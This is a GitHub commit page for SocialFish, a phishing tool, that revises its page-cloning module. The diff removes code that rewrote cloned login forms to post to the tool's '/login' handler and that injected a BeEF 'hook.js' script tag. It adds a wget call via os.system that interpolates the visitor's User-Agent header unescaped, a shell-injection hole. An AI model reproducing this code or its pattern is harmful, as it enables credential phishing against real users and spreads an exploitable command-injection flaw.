Skip to content

Commit 6523295

Browse files
author
franklintimoteo
committed
Fixing clone module
1 parent d41c60a commit 6523295

File tree

2 files changed

+6
-19
lines changed

2 files changed

+6
-19
lines changed

SocialFish.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -139,12 +139,12 @@ def getLogin():
139139
# caso esteja configurada para clonar, faz o download da pagina utilizando o user-agent do visitante
140140
if sta == 'clone':
141141
agent = request.headers.get('User-Agent').encode('ascii', 'ignore').decode('ascii')
142-
clone(url, agent, beef)
142+
clone(url, agent)
143143
o = url.replace('://', '-')
144144
cur = g.db
145145
cur.execute("UPDATE socialfish SET clicks = clicks + 1 where id = 1")
146146
g.db.commit()
147-
template_path = 'fake/{}/{}/index.html'.format(agent, o)
147+
template_path = 'fake/{}/index.html'.format(o)
148148
return render_template(template_path)
149149
# caso seja a url padrao
150150
elif url == 'https://github.com/UndeadSec/SocialFish':

core/clonesf.py

Lines changed: 4 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -3,26 +3,13 @@
33
import os
44

55
# CLONING FUNCTIONS --------------------------------------------------------------------------------------------
6-
def clone(url, user_agent, beef):
6+
def clone(url, user_agent):
77
try:
88
u = url.replace('://', '-')
9-
q = 'templates/fake/{}/{}'.format(user_agent, u)
9+
q = 'templates/fake/{}'.format(u)
1010
os.makedirs(q, exist_ok=True)
11-
temp_ind_path = 'templates/fake/{}/{}/index.html'.format(user_agent, u)
12-
headers = {'User-Agent': user_agent}
13-
r = requests.get(url, headers=headers)
14-
html = r.text
15-
old_regular = re.findall(r'action="([^ >"]*)"',html)
16-
new_regular = '/login'
17-
for r in old_regular:
18-
print(r)
19-
html = html.replace(r, new_regular)
20-
if beef == 'yes':
21-
inject = '<script src=":3000/hook.js" type="text/javascript"></script></body>'
22-
html = html.replace("</body>", inject)
23-
new_html = open(temp_ind_path, 'w')
24-
new_html.write(html.encode('ascii', 'ignore').decode('ascii'))
25-
new_html.close()
11+
#os.system('wget -H -N -k -p -l 2 -nd -P {} --no-check-certificate -U "{}" {}'.format(q, user_agent, url))
12+
os.system('wget --no-check-certificate -O {}/index.html -c -k -U "{}" {}'.format(q, user_agent, url))
2613
except:
2714
pass
2815
#--------------------------------------------------------------------------------------------------------------------

0 commit comments

Comments
 (0)